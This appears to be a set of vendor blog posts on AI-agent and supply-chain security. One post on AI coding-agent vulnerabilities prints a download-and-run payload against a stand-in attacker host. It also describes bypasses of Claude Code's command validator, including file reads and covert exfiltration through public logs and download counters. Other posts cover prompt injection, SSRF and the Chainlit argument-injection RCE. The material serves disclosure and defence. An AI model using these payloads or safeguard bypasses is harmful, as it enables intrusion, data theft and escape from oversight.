You can scan the thing you were going to ship. Unreleased SDK, internal agent config, client code under NDA — none of it touches a server.
You get a shareable artifact. The report prints/saves as PDF from the browser, so you can attach it to a vendor response without anyone needing an account.
The same engine runs in CI. The browser scanner, the CLI, and the GitHub Action share the core modules and the rule identifiers, so a finding has the same name wherever it shows up.

The free scan deliberately does not try to do everything. It cannot produce a signed audit opinion, it cannot sign off on your supply chain, and a clean report does not mean "no vulnerabilities" — static analysis has false negatives by construction. For a vendor-acceptance or compliance trail you still need a manual audit. What it gives you is a five-minute, privacy-preserving first look at the configuration and bundle mistakes that cause the worst agent incidents: over-permissive tool allowlists, MCP servers without auth or TLS, unbounded agent budgets, and model output flowing into a shell.

Try it, and watch the Network tab

The scanner is here — a static page, no signup:

https://dshcorrectover.github.io/agent-audit/scan.html

Drop in an mcp.json or a JS bundle, open DevTools → Network first if you are the skeptical type (you should be), and watch the bytes stay put.

If you build agent tooling, I would be curious to hear what it flags in your own config — especially the semi-automated checks, where a human reading the context still beats any rule.

This article references OWASP AISVS 1.0 as an external, independently maintained community standard; Correctover is not affiliated with or endorsed by OWASP, and automated scanner output is not an audit or certification. Work on the related conformance receipt protocol is documented in an individual Internet-Draft (draft-correctover-ccs), which is an IETF work-in-progress, not an RFC and not an IETF endorsement.

Valid provenance is not valid code: a supply-chain worm shipped with a valid SLSA attestation

correctover — Thu, 03 Sep 2026 06:30:50 +0000

In May 2026, a supply-chain worm did something the security community had been warning about for years: it got the receipt.

According to Akamai's analysis, the May 11–12 wave of the Mini Shai-Hulud campaign didn't steal an npm token. It poisoned a GitHub Actions CI cache through a fork-pull-request misconfiguration in the TanStack release workflow, waited for a legitimate maintainer merge, then ran inside the trusted release pipeline. The worm scraped credentials from the runner's memory and exchanged them for publish credentials through npm's own OIDC token endpoint. The result, in Akamai's words, was that the attack was "invisible and grant[ed] it SLSA attestation validation." (Akamai Security Intelligence Group, May 15 2026)

Across the full campaign (an earlier wave hit SAP's @cap-js packages, PyTorch Lightning, and Intercom in late April/early May), Cloud Security Alliance counts 180+ compromised packages, 400+ malicious versions, affecting packages with more than 518 million cumulative historical downloads. (CSA research note)

The worm also installed persistence into Claude Code session hooks and VS Code task automation — which means it specifically dug into the agent tooling layer, and survived an npm uninstall.

What the attestation actually attests

This is not a Sigstore flaw, and it's not a SLSA flaw. The provenance system worked exactly as designed. A SLSA Build Level 3 attestation answers one question:

Was this artifact produced by the trusted build environment, from the claimed source?

It does not answer:

Is the code in this artifact what the maintainer thinks it is?

When the build environment itself is compromised, the attestation is produced honestly — by a dishonest environment. The signature is valid. The certificate is valid. The log entry is valid. The code is a worm.

Valid provenance is not valid code.

Keyless signing (the Sigstore/Fulcio model) binds identity to a short-lived OIDC token issued to the CI environment. That's a great default for the overwhelming majority of projects, and we use the same transparency log it writes to (more on that below). But it draws the trust boundary around the build environment — and the build environment is exactly what Mini Shai-Hulud attacked.

Two layers the receipt doesn't cover

Reading the post-incident writeups, two gaps keep showing up:

1. Content-first evidence. Attestations are environment-first: they certify where and how something was built. A content-first receipt certifies what the code is: a canonical manifest of every file and its hash, signed, anchored to a transparency log, with a durable citation that outlives any single registry or CI system. You can answer "does this byte-for-byte match what was anchored at release time?" offline, without asking anyone's server.

2. An optional key-isolation path. Keyless signing has no concept of "the signing key never touches CI." For most projects that's fine — convenience wins. For high-assurance releases (infrastructure packages, agent runtimes, anything that harvests credentials by design), there's value in a mode where the signing key lives outside the runner: an offline signer, a human approval step, or a KMS. Compromising a runner then no longer yields the ability to mint a valid release identity. The ecosystem has the building blocks (cosign supports bring-your-own keys), but the content-manifest-and-durable-anchor layer around them is still DIY.

There's also a third gap that matters specifically for AI assets: hashes answer "is this identical," but never "is this derived from mine." A model fine-tuned from your weights, or a plugin forked past recognition, hashes differently by design. That requires semantic comparison — a different problem from signing.

What we built (and what we refuse to claim)

We work on this problem. Our open-source code birth certificate produces a signed content manifest (JCS-canonical hashes, Ed25519), anchors it to the public Rekor transparency log, and optionally mints a Zenodo DOI as a durable citation. A zero-configuration GitHub Action runs it on release; verification needs no account and no server of ours — the public key is embedded in the receipt, so verification is fully offline.

Our own dogfood anchors are public and independently checkable: Rekor log index 2694324795 with DOI 10.5281/zenodo.22266162. The GitHub Action that mints these certificates anchors its own repository on every run inside CI — the latest such self-anchor is Rekor index 2695953558, produced by a public GitHub Actions run rather than anyone's laptop.

Three things we want to be explicit about, because a supply-chain incident is a bad time for marketing ambiguity:

If you run our Action with the signing key stored in a CI secret, you stand on the same side of the trust boundary as keyless signing. That's the convenience mode, and it's a reasonable default. The key-isolation mode — key held outside the runner — is the one that changes the threat model. Pick deliberately.
We build on Sigstore, not against it. Our anchors are Rekor entries. We're an application layer on top of the public transparency-log ecosystem, not a replacement. "Sign everything keyless by default" remains the right advice for most projects.
Anchoring proves existence, timestamp, and content binding — nothing else. It doesn't prove code is safe, isn't malware, or isn't infringing. A DOI is evidence of existence and timestamp, not a copyright registration. And no signature — ours or anyone's — would have stopped Mini Shai-Hulud's persistence in Claude Code hooks. That's a runtime problem: what the agent does after install, which is the other half of what we work on.

The practical takeaway

After Mini Shai-Hulud, the question "is your supply chain signed?" is no longer enough. Three better questions:

Does the receipt certify the build environment — or the code's content? Ideally both, and you should know which you're looking at.
Where does the signing key live? "Short-lived token inside the runner" is fine until the runner is the target. Know your mode.
What watches the code after it runs? Signed packages can still be worms. Agents that install hooks into your editor doubly so.

Attestations got us from "trust me" to "trust the build." The next step is "trust the content — and verify it yourself."

We're Correctover — we build evidence infrastructure for the AI age: verifiable provenance for code and runtime assurance for agents. The birth-certificate tooling is open source (MIT); the transparency logs and DOI registry it uses are public infrastructure maintained by the Sigstore and Zenodo communities.

Code in the AI age needs a birth certificate (and ours is publicly verifiable)

correctover — Thu, 03 Sep 2026 04:21:40 +0000

A few weeks ago, a developer posted a question that has been quietly bothering
everyone who builds with AI:

"I never open-sourced that code. An agent pulled it from somewhere and handed
it out as open source. Whose code is it now? And honestly — when all the code
is written by models anyway, what does 'open source' even mean anymore?"

That question has no clean legal answer yet. But it has a clean technical
prerequisite, and it's the same prerequisite every supply-chain conversation
keeps running into:

Before anyone can argue about who owns a piece of code or where it came from,
you need to be able to prove what existed, when, and in exactly what form —
without trusting the person making the claim.

That's a provenance problem. We just built the smallest end-to-end version of it
we could, anchored a real public code snapshot, and verified the whole chain
ourselves. This article is what we built, why each piece exists, and the three
commands you can run to check it without trusting us at all.

What "proof" actually requires

A screenshot of a timestamp proves nothing. A hash you computed yourself and
show me later proves nothing — I can't tell when you computed it, or whether the
thing I'm looking at now is the thing you hashed.

A claim like "this code existed on September 3rd" only becomes checkable when
four independent layers line up:

A content-addressed manifest. Every file gets a SHA-256 hash, and the manifest itself is canonicalized before hashing — we use JCS (JSON Canonicalization Scheme, RFC 8785), so the hash is stable across key ordering, whitespace, and language differences. The hash commits to the exact bytes, file by file.
A signature over that manifest. A key the claimant controls signs the manifest hash — Ed25519 per RFC 8032. This answers "who made this claim", but it is not yet a timestamp: a signature has no notion of when it was made.
An anchor in a public transparency log. We submit the signed hash to the Sigstore Rekor transparency log (hashedrekord entry). Once it's in the log, it carries an inclusion proof and a log index anyone can query. The log is a append-only, publicly monitored witness — you don't have to trust our server, our clock, or our word.
A persistent, citable archive. The proof bundle itself (manifest, receipt, anchor record) is deposited with Zenodo and gets a DOI, so it has a permanent identifier independent of our infrastructure.

Each layer answers a different objection. Remove any one and the claim degrades
into "trust me".

The three commands

The tool is a single-file Python CLI (provenance.py), stdlib-only for
networking:

# 1. Generate a local identity key (never leaves your machine)
python provenance.py keygen

# 2. Snapshot a directory -> manifest -> signed receipt -> Rekor anchor -> Zenodo DOI
python provenance.py anchor ./my-project --name my-project

# 3. Independently verify a proof bundle — rehashes everything,
#    checks the Ed25519 signature, pulls the Rekor entry, compares all three hashes
python provenance.py verify ./output/my-project-2026-09-03/

verify does not contact any Correctover service. It recomputes the manifest
hash from the files, checks the signature against the embedded public key,
fetches the Rekor entry from the public log, and asserts that the recomputed
hash, the receipt hash, and the on-log hash are all the same value. If any
layer drifts, it fails closed.

The real anchor (you can check it right now)

We didn't run this on a toy. The first snapshot anchored was our own public
open-source package, correctover-scan v1.4.0 (MIT), commit
13a3caa — 8 files.

Manifest hash (JCS, SHA-256): b0366186a5063a091148ffdc6b042d36e8cfa8e2d675e05b6c598e096b3ca75f
Rekor transparency log: index 2694324795 — view in the Sigstore search UI or query the API directly:

  curl -s "https://rekor.sigstore.dev/api/v1/log/entries?logIndex=2694324795"

The entry includes an inclusion proof you can verify against the log's
signed tree head.

Zenodo DOI: 10.5281/zenodo.22266162 — the proof bundle (manifest, receipt, anchor record) is deposited there under CC0.

If you want the shortest possible sanity check without installing anything:
open the Rekor search link, confirm the entry exists; open the DOI, confirm the
bundle is archived; compare the hash printed in both places with the manifest
hash above. Three independent witnesses, one hash.

One honest technical wrinkle

We hit a real interoperability constraint worth documenting, because anyone
replicating this will hit it too:

the public Rekor instance's hashedrekord v0.0.1 type parses detached
signatures as Ed25519ph (prehashed Ed25519), but passes the artifact hash
algorithm (SHA-256) to the verifier — and the Ed25519ph verifier only accepts
SHA-512. So an Ed25519 signature over a SHA-256 artifact hash is rejected
(unsupported hash algorithm: "SHA-256" not in [SHA-512]). This matches how
cosign and sigstore-go handle the default case.

Our resolution: the identity receipt stays Ed25519/RFC 8032 (that's our
signature, our key, our receipt format). The transparency-log anchor uses
ECDSA P-256 over SHA-256 (prehashed, ASN.1 DER) — the Sigstore ecosystem's
default, fully interoperable choice. The anchor record documents both keys and
which one does what. The security properties don't change: the log still
witnesses the exact 32-byte manifest hash at a specific log position, and the
receipt still binds that hash to our identity key.

What this does NOT prove

Boundaries matter more than features here, so let's be explicit about what a
birth certificate like this is and isn't:

It is evidence of existence and timestamp. A specific set of file hashes, signed by a specific key, was anchored in a public log and archived with a DOI at a specific time.
It is not a copyright registration, and it is not a legal opinion. A DOI and a log entry don't adjudicate authorship or rights — they just make the "this existed, in this exact form, at this time" part undeniable.
Hashes prove identity of bytes, not semantics. If someone takes your code, renames everything, reorders the functions, or has an agent rewrite it line by line, every hash changes and the log anchor won't match. Proving "this derived work is substantially the same code" is a semantic similarity problem — a separate layer sitting on top of the anchor, not something a hash can do. Anchoring is the floor; semantic forensics is the next floor up.

Why now

The direction of travel in AI supply chains isn't subtle: SLSA for build
provenance, Sigstore for signing and transparency logs, SCITT for
industry-wide receipt interoperability, and regulators on both sides of the
Atlantic converging on traceable, auditable AI systems. The reference
implementations that exist during standard formation tend to become the
shapes the standards describe.

We're building toward that as an evidence-infrastructure layer for the AI age —
one primitive that serves two sides: runtime assurance (proving what an agent
actually did) and provenance (proving what an AI asset is, whose it is, and
when it existed). The cryptography reuses the same JCS + Ed25519 receipt
machinery that already passed independent third-party SCITT interop testing
(65/65 cases). Our own receipt format is also documented in an individual
Internet-Draft (draft-correctover-ccs)
— note that's an individual submission, not an RFC and not an IETF endorsement.

But you don't need to care about any of that to use the idea. The practical
takeaway is one line:

Anchor early. A transparency log can't retroactively witness something you
didn't anchor. The first party to put a verifiable stake in the ground owns the
timestamp — forever, independently checkable, with no server to trust.

Go check the anchor:
Rekor log index 2694324795
· DOI 10.5281/zenodo.22266162

AIR Security Raises $50M: What Automated Vetting Solves — and What It Can't Yet

correctover — Wed, 02 Sep 2026 05:49:29 +0000

Yesterday, AIR Security came out of stealth with $50M across two seed rounds — $10M led by Sequoia and $40M led by Greenoaks — to build security tooling for the skills, plugins, and MCP servers that AI agents install. We work in the same corner of the industry: we're the Correctover team, building the open-source verification tools at github.com/Correctover. So our mentions lit up. Here's our read — what happened, why the numbers matter, what automated filtering genuinely fixes, and where it structurally stops.

A supply chain nobody is watching

When coding agents started reaching for third-party components on their own initiative, a new software supply chain formed — one assembled at runtime. As Sequoia's announcement post puts it, an agent consumes "skills, plugins, MCP servers, sub-agents, hooks, commands and rules — each running with the agent's own permissions, inside a user's environment, against a user's data," usually "installed with the care most of us would give a browser extension."

The exposure numbers reported this week are worth sitting with:

More than 17,800 public AI add-ons, accounting for 6.7 million installations, drew instructions from outside sources nobody had verified, according to SiliconAngle.
AIR says its platform currently filters out roughly 27% of the add-ons and skills it finds online, per TechCrunch's reporting.
AIR's own research, summarized in Sequoia's post, found 925 live skills pulling dependencies and prompts from dead links; registering those expired links put roughly 134,000 installed agents under outside control. In a separate experiment, a researcher-built malicious skill reached 26,000+ agents through a trusted marketplace and social media — and every scanner it passed through cleared it.

The mental model AIR's CEO Yair Saban offers is driver signing: in the early 2000s, drivers didn't need signatures; today every driver tells you who signed it, because it loads code into the kernel. Skills and MCP servers load instructions into an agent that holds your credentials — and there's no equivalent signature check yet, as TechCrunch reports.

That's why the category is drawing capital. Tens of thousands of components, millions of installs, and the components keep changing after install.

What the automated layer actually solves

The playbook emerging across this category — discovery, static analysis, dependency checks, sandbox detonation, runtime interception, allowlists — tracks closely with what AIR describes across its product line (Sequoia). It's worth being precise about what this machinery is good at, because it's a lot:

Static analysis catches hardcoded credentials, unexplained network calls, and declared permissions that don't match what the component claims to do.
Dependency checks catch the dead-link and typosquatting families — the SkillJacking pattern above is fundamentally a dependency-integrity failure.
Sandbox detonation watches what a component actually does when run: callback domains, file access, child processes.
Runtime interception blocks installs or calls that fail policy in the moment, instead of trusting a one-time review.
Continuous re-verification handles drift. A skill that passed review in March can be rewritten in June by its maintainer — or by whoever took over the maintainer's account. Sequoia's Bogomil Balkansky told TechCrunch: "This is not a scanning problem, it is a continuous re-verification problem."

At 17,800+ components and growing, none of this can be human-scale. Automation isn't a nice-to-have here. It's the only thing that can cover the surface.

Where automation structurally stops

Here's the part we spend our days on, and where we'd push the conversation further. Automated filtering produces verdicts at scale, but three classes of problem resist it structurally — not because any vendor's implementation is weak, but because of what the questions themselves require.

1. Semantic intent in minified or obfuscated code. Heuristics and sandbox runs depend on signals. A minified or deliberately obfuscated payload strips them: the code might be a harmless bundled build artifact, or a dropper that only activates under conditions the sandbox never reproduces — a specific date, a specific tenant, a specific prompt. Determining intent means reading code in context, the way a human reviewer does. Detonation answers "what did it do in the lab?" It can't fully answer "what would it do on my machine, on Tuesday, with my data?"

2. Business-logic-level tool abuse. The hardest calls aren't malicious components — they're legitimate components used in illegitimate ways. A CRM plugin with a documented bulk-export feature is doing exactly what it says on the tin when an agent exports 40,000 contacts to a personal email. Every individual tool call is well-formed, permitted, and benign-looking. "This agent may read accounts but never bulk-export" isn't a universal signature. It's your organization's policy, and judging it requires understanding your business context, not just the bytes in flight.

3. Evidence for procurement and compliance. A pass/fail flag is a signal, not a record. When a security questionnaire asks "what was checked, when, on which exact version, under which rule set, and who signed the verdict?" you need an archivable artifact — a receipt that binds the verdict to the exact input bytes, tamper-evident and re-verifiable months later. This is the same gap application security filled by moving from "the scanner said fine" toward signed attestations and SBOMs. Signals protect the moment; evidence survives the audit.

None of this is a knock on automated platforms. You need the filter before you can afford the review. It's the same division of labor as SAST/DAST versus manual code review versus attestation: layers, not substitutes.

Make your component cheap to audit

If you publish skills or MCP servers, the practical lesson is that vetting is moving from "someone might glance at this" to "a pipeline will decide whether enterprises can install this." Your job is to make the pipeline's job easy:

Least privilege, declared explicitly. Ship a permission manifest. Read-only by default, scoped tokens, no inherited environment variables you don't actually use. A component that asks for everything gets blocked; a component that asks for one documented endpoint gets read.
Verifiable provenance. Pin and hash your dependencies. Sign releases. Never fetch instructions, prompts, or rules from arbitrary URLs at runtime — that's the entire SkillJacking failure mode. If you must load remote content, pin it to a content hash.
Reproducible builds. Ship the artifact auditors can actually read. Minified server blobs force every reviewer to treat you as opaque; source maps and reproducible build instructions let static analysis see what you are.
Write your security posture down. A SECURITY.md — or a security section in your README — that states what you access, what network calls you make, where data goes, and how to report issues earns more trust than any badge. Vetting cost is what gets components rejected. Lower yours.

If you run agents, start with the cheap layer today:

# Scan MCP configs in the current directory — no credentials, no network
npx correctover-scan

# Or wire it into CI with SARIF output
npx correctover-scan -d . -f sarif > mcp-audit.sarif

Where we fit

We're Correctover, and we build open-source verification tooling plus an audit methodology for this space — not a platform, not a marketplace. correctover-scan runs local config and static checks. Our MCP verification gateway (ccs-mcp-server, with correctover-mcp-server available if you'd rather transparently wrap a server you already run) sits in front of tool calls, fails closed, and writes an Ed25519-signed receipt for every decision — the evidence artifact described above. The decision path is deterministic, with no model call in the loop: sub-millisecond on the core verification hot path, because verification you can't afford to leave on in development isn't verification.

Everything lives at github.com/Correctover. Try it against your own agent setup, and please open issues — false positives are bugs, and a call we allowed that shouldn't have been is the most valuable report we can receive.

A $50M vote of confidence in this category is good news for anyone shipping agents. It means "where did this component come from, and who checked it?" is finally becoming a budgeted question. The next step is making sure every answer comes with evidence.

Your Agent Has Tools Now: Why MCP Tool Calls Need Runtime Verification

correctover — Wed, 02 Sep 2026 04:01:34 +0000

For most of the short history of LLM applications, model risk was text risk. A model could output bad advice, leak something from its prompt, or produce a convincing phishing draft — but it couldn't touch your machine. The worst case ended at the screen.

Wire a few tools into that model — a shell, an HTTP fetcher, a filesystem client, a cloud SDK — and the equation changes. With the Model Context Protocol, agents don't just suggest operations anymore; they perform them, with your credentials, on your infrastructure. The attack surface moves from "text the model wrote" to "actions the model took." A prompt that used to produce a paragraph can now produce a process.

If you're shipping agents with tool access, configuration hygiene is necessary but not sufficient. Here's why, and what runtime verification adds.

Four ways tool calls go wrong

The abuse patterns below are well-known categories — described generically, without reference to any specific project's incidents.

1. Code execution tools → remote code execution. Shell, exec, and interpreter tools exist because agents genuinely need them: running tests, scaffolding projects, transforming data. But any string that reaches a shell is a command. Content fetched from a web page, a filename, an error message, or a dependency's metadata can carry shell metacharacters. The model doesn't need to be "hacked" in the classic sense — it just needs to faithfully pass attacker-influenced text into an execution tool.

2. Fetch / HTTP tools → SSRF. Agents love to fetch URLs: docs, APIs, "read this link the user pasted." A URL is also a network destination. Point a fetcher at a cloud metadata endpoint (169.254.169.254), a private RFC1918 address, or localhost:port and the agent becomes an SSRF primitive — reading internal services from inside your network perimeter and helpfully summarizing what it found.

3. Credential and environment-variable exfiltration. Agent processes inherit environment: AWS_*, GITHUB_TOKEN, database URLs, API keys. Tools often accept arbitrary key/value or arguments. A two-step chain — read a sensitive file or env var, then POST it somewhere via the HTTP tool — turns a "helpful agent" into an exfiltration channel. Neither step looks dramatic on its own.

4. Prompt injection → unauthorized tool calls. Untrusted content in the model's context (a web page, an email, a file, a tool result) can contain instructions aimed at the model. The model is the one holding the tool handles, and it can't always tell your instructions apart from instructions embedded in data. The outcome is a tool call you never authorized, performed with your authority.

Why static configuration scans aren't enough

Scanning your MCP configuration is the right first move. A static scanner catches real, fixable problems: plain-HTTP transports, disabled TLS verification, credentials pasted directly into config JSON, missing timeouts, over-broad permissions, unpinned server versions. The open-source correctover-scan runs 14 local checks against your config files and auto-discovers the usual locations — .cursor/mcp.json, claude_desktop_config.json, .claude/mcp.json, mcp.json, and a few more.

But a config file is static, and the dangerous part is dynamic. Your mcp.json will never contain the argument the model constructs at 3 a.m. — the URL it decided to fetch, the command string it assembled from a tool result, the env var name it placed into an HTTP body. Static analysis answers "is this setup reasonable?"; it cannot answer "is this specific call safe?"

The tempting shortcut is a keyword blacklist: block calls containing exec, block URLs containing 169.254, block arguments containing AWS_SECRET. It doesn't work, because safety is contextual:

A code-interpreter tool running exec() as its normal, declared function is fine.
A model concatenating fetched, untrusted text into an exec() string passed to a shell is critical.
A fetcher retrieving a public docs URL is fine; the same fetcher hitting the metadata endpoint is critical.
Reading a file is fine; reading a file and immediately piping its contents to an external URL is an exfiltration chain.

Same tokens, different verdicts — because the tool, the caller, the arguments, and the chain of preceding calls differ. That judgment has to happen at call time, with the actual arguments in hand.

What runtime verification should check

A runtime verifier sits in front of tool execution and evaluates every call before it runs. For security, five layers matter most:

Structure — well-formed tool name, arguments as an object, sane nesting depth and payload size. Malformed calls get rejected, not fuzzed into the tool.
Schema — per-tool validation: types, required fields, enums, numeric ranges, string lengths. A payments.send call with amount as a string fails before it reaches the API.
Identity — which agent is calling, against an allowed-caller list. Tool permissions belong to identities, not to the runtime process.
Integrity — cryptographic hashes over the exact arguments and request, plus signed receipts that bind the verdict (allow/deny/escalate) to those exact bytes. This gives you tamper-evident evidence: after an incident, you can prove what was decided and on what input, and chain receipts across multi-step or multi-agent flows.
Security intent — semantic analysis of the call in context: command-injection patterns, SSRF targets (metadata IPs, loopback, private ranges), path traversal, environment-variable exfiltration signals, obfuscation (hex/base64 wrapping), prompt-injection markers, and — critically — cross-tool attack chains (read-sensitive-file → network-write = exfiltration, even though each step alone looks benign).

Two non-negotiable properties:

Fail-closed. If the verifier is unreachable, times out, or receives malformed input, the call is blocked. A verification path that errors open is not a verifier.
Deterministic and fast. Intent checking is pattern- and policy-based computation — no LLM call in the decision loop. The target is sub-millisecond on the core verification hot path, so verification is something you leave on in development, not something you route around when the agent feels slow.

Try it in 30 seconds

Step 1 — scan your configs locally. Zero dependencies, no network needed:

# Auto-discovers .cursor/mcp.json, claude_desktop_config.json,
# .claude/mcp.json, mcp.json and friends in the current directory
npx correctover-scan

# Or point it at a file / directory, with SARIF output for CI
npx correctover-scan mcp.json -f sarif > report.sarif
npx correctover-scan -d ./my-project

Step 2 — add the runtime verifier as an MCP server. ccs-mcp-server is a zero-dependency stdio MCP server. Drop this into your client config (Claude Desktop, Cursor, or any other stdio-compatible MCP client):

{
  "mcpServers": {
    "ccs-runtime-evidence": {
      "command": "npx",
      "args": ["-y", "ccs-mcp-server"]
    }
  }
}

It exposes verify_tool_call (the checks above, blocking unsafe calls by default), issue_evidence (Ed25519-signed receipts for every decision, allow and deny), and config-audit and receipt-verification tools. The signing keypair is generated automatically on first run; set the CCS_KEY_DIR environment variable only if you want to control where it persists.

Step 3 — wrap an existing server (optional). If you'd rather verify calls transparently around a server you already run, the compatibility package forwards to the verification gateway:

npx -y correctover-mcp-server --stdio -- npx -y <your-existing-mcp-server>

Both servers are published in the official MCP Registry as io.github.Correctover/ccs and io.github.Correctover/mcp.

The spec, and what we're asking for

The evidence model behind these tools is documented in the CCS protocol specification, draft-correctover-ccs, which defines the receipt schema, cryptographic bindings (request, parameters, runtime context, issuer, audience, freshness), fail-closed transport requirements, and conformance levels for evidence propagation across agent chains. This is an individual Internet-Draft, not an RFC or IETF endorsement.

Everything lives at github.com/Correctover. If you're building agents with tool access:

Run npx correctover-scan in your repo and in CI — it takes seconds and needs no credentials.
Add the verifier server to your client config and see what it flags on real sessions.
Open an issue with false positives or missed chains — verification rules improve fastest when they meet real traffic. A denied call you disagree with is a bug report; an allowed call that shouldn't have been is the most valuable report of all.

Agents that can act are agents that can err at machine speed. Verify the call before it becomes the action.

Alternative titles:

From Text Output to Executed Actions: Securing MCP Tool Calls at Runtime
Don't Just Scan Your MCP Config — Verify Every Tool Call
The Agent Holds the Shell: A Practical Guide to Runtime Tool-Call Verification

Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You

correctover — Wed, 26 Aug 2026 04:39:09 +0000

Three AI Coding Agents, Three Ways to Break Them, and One Thing Detection Will Never Give You

I've spent the last week reading through the technical writeups from Novee Security's Black Hat USA 2026 briefing, "Trusted Enough to Run: Breaking AI Agents in Official Workflows." The title sounds broad. The content is not. They found three distinct, exploitable vulnerabilities in three of the most widely used AI coding agents — each in the agent's own repository, each triggered by code the agent itself was asked to review.

The details matter, because they reveal a pattern that detection alone cannot solve.

Claude Code: The Single-Quote Strip

CVE-2026-54316. CVSS v4 score 6.0. Affects Claude Code versions >=0.2.54 and <2.1.163.

The command validator ran 23 security checks on every command before allowing execution. But before any of those checks ran, a preprocessing step stripped single-quoted text from the command string. The idea was presumably to normalize whitespace or remove literal arguments. The effect was that anything inside single quotes was invisible to every single security check.

The payload was straightforward:

git push --receive-pack='$(curl -s https://attacker.example/payload | bash)' origin main

The validator saw git push origin main. The shell saw something else entirely.

Anthropic patched it. Then Novee found two bypasses against the patch.

First bypass: use tac to read arbitrary files (the reverse of cat, which was still blocked), then exfiltrate the contents through a public GitHub Actions log. They reversed an API key so the log scanner wouldn't flag it on write, then reversed it back after reading the log.

Second bypass: use HuggingFace's public download counter as a covert channel. Each model download increments a counter visible to the repository owner. Encode data into the number of downloads triggered by the agent, read the counter from a separate request. No exfiltration channel, no DNS, no HTTP callback — just a public number going up.

Both bypasses worked because the patch fixed the single-quote strip but did not change the fundamental architecture: the validator saw a sanitized representation of the command, not the command that would actually execute.

Gemini CLI: The Auto-Trusted .env File

CVE-2026-12537. CVSS v3.1 score 10.0. That's the maximum — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. GHSA-wpqr-6v78-jr5g.

Gemini CLI had 106,000+ stars and roughly 2 million monthly installs at the time of disclosure.

In headless CI mode, Gemini CLI automatically loaded .gemini/.env from the repository and trusted its contents. This happened before the sandbox started. A malicious .gemini/.env file could set environment variables that controlled the agent's behavior, including injecting API endpoints and credentials, before any security boundary was established.

That alone would be bad. But there was a second issue: the --yolo flag, which skips confirmation prompts, parsed an allowlist of commands that were permitted without approval. The allowlist was parsed. It was never enforced. Any command in the allowlist was treated as pre-approved, but so was any command that looked enough like an allowlisted command to survive the comparison.

And in the sandboxed environment, the agent could read /proc to access the parent process's environment — including secrets that were never meant to be visible to the code being reviewed.

Google classified this as a "supply chain compromise." The fix landed in versions 0.39.1 and 0.40.0-preview.3 of Gemini CLI, and version 0.1.22 of run-gemini-cli. Dan Lisichkin of Pillar Security was a co-discoverer.

OpenAI Codex: The AGENTS.md Handoff

No CVE here. No CVSS score. But the vulnerability is in some ways the most revealing.

Codex operates in two steps in CI. The first step checks out the repository and runs the agent. The second step also checks out the same repository and runs the agent. They share the working directory.

The first step writes AGENTS.md to the repository. OpenAI's own documentation classifies AGENTS.md as untrusted input — it's a file from the repository, potentially controlled by an attacker. But the second step loads AGENTS.md as instructions. The agent trusts the file because it exists on disk, as if it had been there before the job started.

The fix took three days: isolate the jobs so they no longer share a checkout. But the multi-pass pattern — first agent writes configuration, second agent reads it — has been widely copied across the ecosystem. Novee found the same vulnerable default patterns in over 100 public repositories.

The Pattern: Trust Handoff Failure

Elad Meged of Novee Security put it precisely: "The harness is the code between the model and the real world."

Each of these vulnerabilities is a failure at a trust handoff:

Claude Code's validator trusted that the string it inspected was the string the shell would execute. It was not.
Gemini CLI trusted that .gemini/.env in a checked-out repository was safe to load before sandboxing. It was not.
Codex's second step trusted that AGENTS.md on disk was the same AGENTS.md that was there when the job started. It was not.

In every case, detection could tell you that something might go wrong. A log might show a git push command. A monitor might flag an unexpected environment variable. An audit trail might record that AGENTS.md was modified.

But detection cannot tell you what actually happened after the trust boundary was crossed. It cannot prove that the validator's sanitized view diverged from the shell's parsed view. It cannot prove which .env values were loaded before the sandbox started. It cannot prove that the AGENTS.md read by the second step was written by the first step in the same job.

Logs can be tampered with. Timestamps can be spoofed. A process that can execute arbitrary code can rewrite its own audit trail.

What Detection Cannot Give You

What you need is cryptographic evidence: a chain of signed receipts where each receipt records exactly what crossed a trust boundary, what the boundary was, and what the receiving side did with it.

When Claude Code's validator inspects a command, it should produce a signed receipt containing the exact bytes it evaluated and the set of checks that passed. The shell executor should produce a signed receipt containing the exact bytes it received and parsed. If those two receipts do not match — if the validator saw git push origin main and the shell saw a command substitution — the discrepancy is provable, not just detectable.

When Gemini CLI loads .gemini/.env, it should produce a signed receipt containing the file hash, the source (checked-out repository vs. pre-existing), and whether the sandbox was active at load time. A receipt that says "loaded before sandbox, file hash X" is evidence. A log line that says "loaded .env" is not.

When Codex's second step reads AGENTS.md, it should verify a signed receipt from the first step recording that it wrote the file, when, and from what source. No receipt, no trust.

This is not a new idea. It's the same principle behind TLS certificate chains, signed git commits, and transparency logs. But it has not been applied systematically to the trust boundaries inside AI agent harnesses.

ccs-verifier and Conformance Vectors

I've been working on ccs-verifier, a tool that verifies cryptographic receipt chains across trust boundaries in agent workflows. It's ELv2 licensed, has 157 tests, and installs with:

pip install ccs-verifier

The conformance vector suite — a set of test cases that define what a valid receipt chain must look like for common agent operations — is maintained at MIT and available at github.com/DSHCorrectover/ccs-conformance-vectors.

The Black Hat research makes the case better than I ever could. Three agents, three trust handoff failures, each in the agent's own repository. Detection tells you something might be broken. Cryptographic receipts tell you exactly what happened, when, and across which boundary — and they cannot be rewritten by the process they're auditing.

If you're running AI coding agents in CI, the question is not whether your logs will show the attack. The question is whether you can prove what your agent actually did — not what it was supposed to do, not what a sanitized validator thought it was doing, but what actually crossed the boundary between the model and the real world.

That question has a different answer depending on whether you have receipts.

Chainlit Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.

correctover — Wed, 26 Aug 2026 04:03:52 +0000

Chainlit Just Fixed a CVSS 9.8 RCE. The Post-Patch Problem Is Worse.

On August 25, Chainlit shipped v2.12.0 fixing CVE-2026-45018: an unauthenticated remote code execution via the MCP stdio transport. CVSS 9.8. Any network-adjacent attacker could POST a crafted JSON payload to the /mcp endpoint, pass npx -y -c '<arbitrary shell>' as a "command", and get code execution with the Chainlit process privileges.

The root cause was almost boring: the validate_mcp_command() function checked the executable name against an allowlist but performed zero validation on arguments. Even with a strict allowlist containing npx, an attacker could use npx -c to execute arbitrary shell. If the allowlist was omitted (the default), any binary on the host was fair game.

There was also a companion SSRF (CVE-2026-45019, CVSS high) via SSE and streamable-http transports.

Chainlit isn't alone. This was the same week that:

Azure DevOps MCP Server shipped a confused-deputy bug where hidden instructions in PR comments could exploit agents (disclosed by Manifold Security)
mcp-atlassian fixed CVE-2026-27825, an arbitrary file write leading to RCE via unconstrained download_path
LangBot fixed CVE-2026-54449, where authenticated users could change MCP server configuration to execute arbitrary commands
A DeepInspect audit found 91.8% of audited MCP servers run without OAuth

The patches are good. Upgrade. But the pattern these CVEs expose isn't fixed by patches.

